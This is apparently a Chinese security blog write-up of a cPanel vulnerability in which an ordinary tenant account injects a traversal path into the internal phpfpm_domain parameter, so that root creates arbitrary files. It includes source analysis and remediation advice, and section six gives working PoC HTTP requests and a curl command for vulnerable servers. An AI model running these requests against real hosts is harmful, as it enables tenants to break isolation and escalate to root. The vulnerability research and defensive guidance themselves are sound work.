一个域名,撬翻整台服务器:cPanelCVE-2026-65643深度复盘"

admin 2026-10-17 05:24:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

一个域名,撬翻整台服务器:cPanel CVE-2026-65643 深度复盘

原创

网络安全透视镜
网络安全透视镜

网络安全透视镜

2026年8月31日 08:10
中国香港

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

高危漏洞深度复盘

一个域名,撬翻整台服务器

认证后的低权限 cPanel 账号,如何跨过特权边界直达 root?本文用源码对照,把 CVE-2026-65643 的真正注入点、利用边界和修复思路讲清楚。

普通租户账号 → root 创建任意文件 → 宿主机隔离失守

低权限主机账号 → root。不碰网站漏洞,不过 WAF,直击面板内核。 本文基于授权的本地源码对照审计(含漏洞 11.138.0.1 vs 修复版 11.138.0.2),只做原理拆解与防御科普,不提供可直接落地的武器化利用。

一、一句话看懂这个漏洞

2026 年 8 月末,cPanel 官方紧急披露高危漏洞 CVE-2026-65643。

它可怕的地方不在于「又一个 Web 洞」,而在于它绕开了所有人习以为常的防线:

  • 攻击者不需要 root,不需要管理员账号;
  • 只要一个能添加\"停放域名/附加域名\"的普通 cPanel 账号;
  • 就能让运行在 root 权限下的后台脚本,按自己指定的名字创建文件;
  • 最终一路提权到 root,接管整台宿主机。

共享主机上,这意味着一个租户能击穿隔离、控制所有邻居的站点。

二、影响范围

项目 说明
CVE 编号 CVE-2026-65643
危害等级 严重 / Critical
披露时间 2026-08-27
触发条件 见下文「三、漏洞利用条件」(认证用户 + 停放/附加域名权限 + 未修复版本)
攻击前提 不需要 管理员凭据,不需要网站漏洞或复杂前置链
不受影响 cPanel DNS-Only 纯 DNS 服务器

修复版本(低于以下版本均受影响):

  • 11.110.0.141+
  • 11.134.0.53+
  • 11.136.0.37+
  • 11.138.0.2+
  • WP2 11.138.1.7+

一个关键认知:这个漏洞防火墙拦不住、WAF 拦不住、和你网站程序有没有洞毫无关系。 它发生在 cPanel 的特权边界内部(普通用户代码 → root adminbin),是架构级的信任缺陷。

三、漏洞利用条件

先把「能不能打」说清楚。CVE-2026-65643 不是未授权远程裸打,但也远谈不上“难利用”——共享主机场景下,租户账号几乎是标配前提。

3.1 必须同时满足

# 条件 说明
1 面板版本未修复 低于官方修复线:11.110.0.141 / 11.134.0.53 / 11.136.0.37 / 11.138.0.2 / WP2 11.138.1.7
2 不是 DNS-Only 纯 DNS 角色服务器不受影响;需具备域名停放相关完整功能栈
3 已登录的普通 cPanel 账号 需要有效会话(Cookie / Basic Auth / 访问哈希)。不需要 WHM、reseller、root
4 账号具备停放/附加域名功能 parkeddomains 或 addondomains 至少一个开启;Demo Mode 下功能直接拒绝
5 能成功走通 park() 主流程 arg-0 必须是可通过 is_valid_cpanel_domain() 的合法域名,且该账号有权把它停放上去(实验里常用 arg-6=force=1 降低部分校验干扰)
6 走 API1 位置参数通道注入 phpfpm_domain 最直接入口是 API1 Park/park 的 arg-4;含漏洞版 Park_park 会 park(@_) 原样透传。API2 api2_park 这条把 phpfpm_domain 写死了,不是同款直通枪
7 arg-4 满足名字策略 非空;不以 . 开头;内部可含 / 与 /../,以便逃出 /var/cpanel/taskqueue/groups/enable_fpm_subqueue
8 目标路径此前不存在 落盘使用 O_WRONLY\\|O_CREAT\\|O_EXCL,已存在则创建失败,无法覆盖

满足 1–8,即可在授权实验室验证「以 root 创建任意空文件」原语。

3.2 明确不需要什么

  • 不需要

网站程序漏洞(SQL 注入、上传、RCE 等)
* 不需要

过业务 WAF / CDN(打的是 2083 面板 API,不是站点 80/443 业务面)
* 不需要

管理员凭据或提权跳板链的前半段
* 不需要

在「域名」字段里塞 ../(那条路被正则拦死,真正可控的是内部参数 phpfpm_domain)

3.3 利用门槛怎么评估

场景 难度 解读
共享主机 / 分销主机租户 低 攻击者天生就有普通 cPanel 账号 + 停放域名权限
已泄露的主机面板账号 低 等同租户场景
完全未授权、没有任何面板账号 高 / 不可直接打 本洞不是匿名 RCE,需要先解决“有一个能登录的 cPanel 用户”
已打补丁或 DNS-Only 不可利用 条件 1 或 2 不成立

一句话:认证后的低权限面板用户 → root,属于典型的「租户击穿隔离」洞,不是「互联网裸奔扫端口就能收菜」的洞。

3.4 从原语到 Root RCE 的边界

官方已确认:任意文件创建原语可进一步导致 Root RCE。但后半段依赖具体落点与系统状态(且受 O_EXCL、空文件等约束),不属于“发一个 HTTP 包就自动 Root”的单步骤。本文后续 PoC 只覆盖到「root 在 /tmp 创建标记空文件」这一可安全复现的原语层。

四、先纠正网上一个流传很广的错误说法

不少文章把成因描述成:「在域名里塞 ../ 路径穿越,然后往 cron / authorized\_keys 里写入自定义后门内容」。

对着源码看,这个说法是错的,两个硬伤:

1)域名里根本塞不进 ../。

Cpanel::Park::park() 里,域名先被正则捕获,再过 is_valid_cpanel_domain():

$domain =~ s/^www\\.//g;
$domain =~ tr/A-Z/a-z/;
$domain =~ /([\\-a-z\\.0-9]*)/i;   # 只保留 字母/数字/-/.
$domain = $1;

实测(见文末实验脚本):

in=evil.example/../x   captured=evil.example    ← 斜杠及之后全被丢弃
in=ok.example;id       captured=ok.example      ← 分号注入也没戏

2)落盘环节不写\"自定义内容\"。

真正创建文件的 Cpanel::TaskQueue::SubQueue::Adder::add() 走的是无内容分支:

my $fhmode = O_WRONLY | O_CREAT | O_EXCL;
sysopen( $fh, $path, $fhmode ) or ...;   # 只创建\"空文件\",且不能覆盖已有文件

所以正确的表述是:官方口径的原语是 \"以 root 身份创建任意文件\"(arbitrary file creation)→ RCE,是文件创建原语,不是内容写入原语。真正可控的也不是域名,而是另一个藏在参数列表里的内部参数。

五、漏洞分析:真正的注入点在第 5 个参数

5.1 被漏出来的\"内部参数\"

park() 的完整签名是:

park($domain, $topdomain, $disallowdot, $do_ssl_setup, $phpfpm_domain, $ignore_limits, $force)

后三个是内部参数,本应只由进程内受信任代码拼装,绝不该让请求方控制。但含漏洞版本的多个 API 入口把它们原样透传了:

入口 泄漏的特权参数
API1 Park_park park(@_) 原样透传,arg-4=phpfpm_domain 直达
API2 api2_park force
API2 api2_addaddondomain force / ignore_limits / tempdomain
ParkAdmin::_local_park ignore_limit_for_domain_conversion 被提升到 WHOSTMGR 上下文
API1 SubDomain::addsubdomain @_ 透传出 skip_phpfpm / force 等

其中 API1 的 Park_park 最直接:

sub Park_park {
    my ( $result, $reason ) = park(@_);   # arg-4 phpfpm_domain 原样喂进去
    ...
}

而 park() 里对 $phpfpm_domain 只判空、不校验字符:

$phpfpm_domain = 0 if !defined $phpfpm_domain;   # 就这一句,形同虚设

5.2 从普通用户到 root 的完整链路

[普通用户 API1 请求]
      │  arg-4 = phpfpm_domain(任意字符串)
      ▼
Cpanel::Park::park()               ← 不校验 phpfpm_domain
      │  adminrun('park','ADD',...,$phpfpm_domain,...)
      │  参数用空格 join,协议: (\\d*) (ADD|DEL|DELADDON) (.*)
      ▼  ★跨越特权边界★
[root] bin/admin/Cpanel/park (park.pl)
      │  queue_convert_domain($phpfpm_domain)
      ▼
Cpanel::PHPFPM::EnableQueue::Adder->add($phpfpm_domain)
      ▼
Cpanel::TaskQueue::SubQueue::Adder::add()
      │  die if index($name,'.')==0     ← 只拦\"以 . 开头\"
      │  $path = _DIR() . \"/$name\"      ← 内部的 / 完全不清理!
      ▼
sysopen(O_WRONLY|O_CREAT|O_EXCL)   ← 以 root 创建空文件
父目录不存在时 → mkdir 0700        ← 以 root 按需建目录

_DIR() = /var/cpanel/taskqueue/groups/enable_fpm_subqueue。

5.3 名字策略的致命细节

add() 只用 index($name,'.')==0 拦「以 . 开头」的名字,对中间的 / 和 /../ 不做任何处理。结果:

  • 朴素的 ../x → 以 . 开头,被 die 挡住;
  • 但 x/../../… 这种不以 . 开头、内部含 /../ 的名字能通过检查,最终路径逃出队列目录,被 root 落到攻击者指定的位置。

这就是\"以 root 创建任意文件\"的由来。至于从\"创建文件/目录\"到\"稳定 RCE\",官方已确认可行,本文不展开可复制的落地姿势。

六、漏洞复现(实验室安全形态)

声明:本节仅面向自有授权实验室(含漏洞版本 11.138.0.1)。PoC 只验证「以 root 创建任意空文件」原语,arg-4 只指向 /tmp 下的标记文件,不给出写入 cron / authorized_keys / sudoers 等持久化路径的取值,也不给出完整 RCE 利用链。请勿对未授权目标使用。

6.1 实验前置条件

完整利用条件见 第三节。实验室最小集合如下:

项 要求
面板版本 含漏洞版本,如 11.138.0.1(未打 CVE-2026-65643 补丁)
账号 普通 cPanel 账号,具备 Parked Domains / Addon Domains 功能(非 Demo Mode)
域名 一个该账号可以成功停放的合法域名(能过 is_valid_cpanel_domain())
认证 该账号的会话 Cookie,或 Basic Auth / 访问哈希
验证权限 能以 root 在宿主机上 ls(确认标记文件是否出现)
注入通道 API1 Park/park,控制 arg-4($phpfpm_domain)

注入点回顾:API1 Park / park 的 arg-4($phpfpm_domain)。域名参数本身塞不进 ../,真正可控的是这个内部参数。

路径演算(队列目录 → /tmp):

队列目录 = /var/cpanel/taskqueue/groups/enable_fpm_subqueue
名字策略 = 只拒绝「以 . 开头」,内部 / 与 /../ 不清理

lab 标记名 =
  x/../../../../../../tmp/cve_2026_65643_lab_proof
  │ └─ 6 个 ../ :先吃掉名字里的 x,再跳出 groups→taskqueue→cpanel→var→/
  └─ 前缀 x 让整串「不以 . 开头」,骗过 index($name,'.')==0

最终落盘(root 创建空文件)=
  /tmp/cve_2026_65643_lab_proof

注意:sysopen 使用 O_EXCL,不能覆盖已存在文件。复现前请确认标记路径尚不存在:test ! -e /tmp/cve_2026_65643_lab_proof。

6.2 HTTP Raw PoC(推荐:会话 Cookie + POST)

登录 cPanel 后,从浏览器开发者工具复制 session / cpsession 等 Cookie,以及 URL 里的 cpsess########## 安全令牌,替换下方占位符。

POST /cpsess##########/json-api/cpanel HTTP/1.1
Host: lab-target.example.com:2083
Cookie: cpsession=USERNAME%3aXXXX%2cXXXX; session=XXXXXXXX
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
Content-Length: 225

cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1

Cookie 与 Basic Auth 二选一即可。上面示例走会话 Cookie;若更习惯口令,把 Cookie 行换成: Authorization: Basic <base64(cpanel_user:password)>

参数对照:

字段 含义 实验取值说明
cpanel_jsonapi_apiversion API 版本 必须为 1 (位置参数通道;API2 这条链路 phpfpm_domain 被写死)
cpanel_jsonapi_module 模块 Park
cpanel_jsonapi_func 函数 park → 进入 Park_park → park(@_)
arg-0 $domain 合法可停放域名(过域名正则与归属校验)
arg-1 $topdomain 可空,默认停到主域名
arg-2 $disallowdot 0 / 1
arg-3 $do_ssl_setup 0 即可
arg-4 $phpfpm_domain 注入点 :URL 编码后的穿越名
arg-5 $ignore_limits 实验可 0
arg-6 $force 实验可 1,降低 DNS/归属校验干扰

arg-4 明文与编码:

明文 : x/../../../../../../tmp/cve_2026_65643_lab_proof
编码 : x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof

6.3 等价形态:Basic Auth + GET(方便 curl 一把梭)

适合命令行快速打一遍(同样只写 /tmp 标记):

GET /json-api/cpanel?cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1 HTTP/1.1
Host: lab-target.example.com:2083
Authorization: Basic <base64(cpanel_user:password)>
Accept: application/json
Connection: close

对应 curl(实验室内网自测):

AUTH=$(printf '%s' 'cpanel_user:password' | base64 -w0)
curl -sk \\
  -H \"Authorization: Basic ${AUTH}\" \\
  --get \"https://lab-target.example.com:2083/json-api/cpanel\" \\
  --data-urlencode \"cpanel_jsonapi_apiversion=1\" \\
  --data-urlencode \"cpanel_jsonapi_module=Park\" \\
  --data-urlencode \"cpanel_jsonapi_func=park\" \\
  --data-urlencode \"arg-0=parkme.lab-target.example.com\" \\
  --data-urlencode \"arg-1=\" \\
  --data-urlencode \"arg-2=0\" \\
  --data-urlencode \"arg-3=0\" \\
  --data-urlencode \"arg-4=x/../../../../../../tmp/cve_2026_65643_lab_proof\" \\
  --data-urlencode \"arg-5=0\" \\
  --data-urlencode \"arg-6=1\"

6.4 预期现象与宿主机验证

  1. HTTP 层

:停放接口可能返回成功(域名确实被 park),也可能因环境差异返回业务错误——关键看特权侧有没有落盘,不要只看 JSON result。
2. 特权侧

(root):

# 复现前
ls -l /tmp/cve_2026_65643_lab_proof 2>/dev/null || echo 'marker absent (good)'

# 发送 PoC 后
ls -la /tmp/cve_2026_65643_lab_proof
# 预期类似:
# -rw------- 1 root root 0 ... /tmp/cve_2026_65643_lab_proof
#            ^^^^ root 拥有、大小为 0 → 「以 root 创建空文件」原语成立

stat -c 'uid=%u user=%U size=%s' /tmp/cve_2026_65643_lab_proof
  1. 对照修复版 11.138.0.2+

:同一请求下,park() 会对 phpfpm_domain 做 validdomainname(),含 / 的值被归零;Park_park 也不再透传 arg-4。标记文件不应再出现。
4. 清理

:rm -f /tmp/cve_2026_65643_lab_proof,并按需取消实验停放域名。

6.5 为什么这不是「写任意内容」

很多人看到 HTTP PoC 会下意识以为能把 webshell 写进文件。源码里 SubQueue::Adder::add() 走的是:

sysopen($fh, $path, O_WRONLY | O_CREAT | O_EXCL);  # 只创建,不写 body

所以本 PoC 验证的是 arbitrary file creation as root。从「创建空文件/目录」到稳定 RCE,官方已确认可行,但那属于利用链后半段,本文不展开、不给可复制 payload。

6.6 可离线复现的名字策略验证

没有实验面板时,用下面脚本也能一眼看懂「为什么域名安全、为什么 x/../.. 能逃逸」(纯建模,不落盘):

#!/usr/bin/env perl
use strict; use warnings;
use File::Spec;

my $DIR = File::Spec->catdir(File::Spec->tmpdir(), 'enable_fpm_subqueue_model');
sub adder_accepts { return index($_[0], '.') != 0; }
sub resolved {
    my $joined = \"$DIR/$_[0]\"; my @parts;
    for my $p (File::Spec->splitdir($joined)) {
        next if !defined $p || $p eq '' || $p eq '.';
        if ($p eq '..') { pop @parts if @parts; next; }
        push @parts, $p;
    }
    return '/' . join('/', @parts);
}

printf(\"%-40s %-9s %-8s %s\
\", 'name','accepted','escapes','resolved');
for my $name (
  'example.com', '.hidden', '../nope',
  'x/../../../../../../tmp/cve_2026_65643_lab_proof',
  'sub.example.com'
) {
    my $ok  = adder_accepts($name) ? 'yes' : 'no';
    my $res = resolved($name);
    my $esc = ($ok eq 'no') ? 'n/a' : (index($res,$DIR)==0 ? 'no' : 'yes');
    printf(\"%-40s %-9s %-8s %s\
\", $name, $ok, $esc, $res);
}

仓库内完整脚本:lab/adder_name_policy.pl(perl lab/adder_name_policy.pl 直接跑)。

七、修复建议

7.1 首要动作:升级

升级到官方修复版本之一:

11.110.0.141+ / 11.134.0.53+ / 11.136.0.37+ / 11.138.0.2+ / WP2 11.138.1.7+

升级后重启相关服务,避免长驻进程仍加载旧代码:

# 视实际环境执行
/scripts/restartsrv_cpsrvd
systemctl restart httpd crond   # 服务名以你的系统为准

DNS-Only 服务器不受影响,无需处理。

7.2 官方补丁到底改了什么(值得抄的思路)

核心是在特权边界上把内部参数掐死 + 在 park() 里给 phpfpm_domain 补校验。底层写文件的 SubQueue::Adder 一行没动——修的是\"谁能传值进来\",而不是\"落盘时再补救\"。

  • park()

:phpfpm_domain 为空或 !validdomainname() 就归零并记日志。域名标签只允许 [a-z0-9-],/ 和 .. 一律通不过。
* Park_park

(API1):不再 park(@_),改为按名字绑定公开参数,phpfpm_domain/ignore_limits 强制 undef。
* api2_park

/ api2_addaddondomain:进门先剥离 force / tempdomain,再进入真正逻辑。
* ParkAdmin::_local_park

:不再因内部标志把校验器提升到 WHOSTMGR 上下文(那会连带绕过跨用户归属检查),改为只豁免 MAXADDON 配额。

7.3 排查是否已被利用

  • 日志侧:检索 access_log 中停放/附加域名的异常提交,重点看 arg-4 / phpfpm_domain 里出现 /、.. 等非域名字符的请求。
  • 系统侧:面板类提权后,攻击者更倾向落系统级持久化——重点排查 /etc/cron.d/、/var/spool/cron/、~/.ssh/authorized_keys、可疑新增系统账号、/var/cpanel/taskqueue/groups/ 下的异常文件。
  • 若确认被入侵:优先隔离、取证,再考虑重装系统 + 干净数据恢复 + 全量改密。

7.4 长期启示

CVE-2026-65643 再次暴露了面板类软件的通病:通用功能以最高权限运行、用户输入的信任边界含糊、租户隔离依赖上层应用而非系统底层。对运维而言,面板高危漏洞的杀伤力远大于普通 Web 洞——它直接击穿隔离、直达内核。补丁随发随更,不要抱侥幸心理。


本文为授权环境下的源码对照分析记录,用于防御与安全科普,不含针对未授权目标的可落地攻击载荷。


一个域名,撬翻整台服务器:cPanelCVE-2026-65643深度复盘" 网络安全文章

一个域名,撬翻整台服务器:cPanelCVE-2026-65643深度复盘"

cPanel高危漏洞CVE-2026-65643允许低权限普通用户通过API1Park接口的arg-4参数注入phpfpm\\_domain,利用内部路径穿越实现以root身份创建任意文件,最终可提权至root并接管宿主机,影响共享主机租户隔离。官方已发布修复版本,建议及时升级至11.138.0.2及以上版本,并限制普通用户的域名停放权限。
能自己学的渗透机器人:RidgeBot商用评测" 网络安全文章

能自己学的渗透机器人:RidgeBot商用评测"

本文评测商用自动化渗透机器人ridgebot,其以ML模拟攻击者并持续学习,可多agent覆盖云与IoT,定位企业级规模化自动化。实测显示其对已知漏洞模式如SQLi效率高,测试时间降约70%,但对越权、逻辑类漏洞及社会工程学几乎无能为力,且商用setup成本高。作者建议大中企业将其作为常态化扫描已知面的放大器,真正高价值漏洞仍需红队人工钻点。
CISA警告:微软SQLServer远程代码执行漏洞正被实际利用" 网络安全文章

CISA警告:微软SQLServer远程代码执行漏洞正被实际利用"

CISA已将CVE-2019-1068(微软SQLServer远程代码执行漏洞)加入KEV目录,因其正被实际利用。该漏洞允许攻击者以服务账户权限执行代码,可能导致数据窃取、持久化与横向移动。CISA要求受影响机构于2026年8月29日前完成修复,并建议梳理SQLServer实例、安装更新、核查日志、检查异常账户并缩减暴露面。
评论:0   参与:  0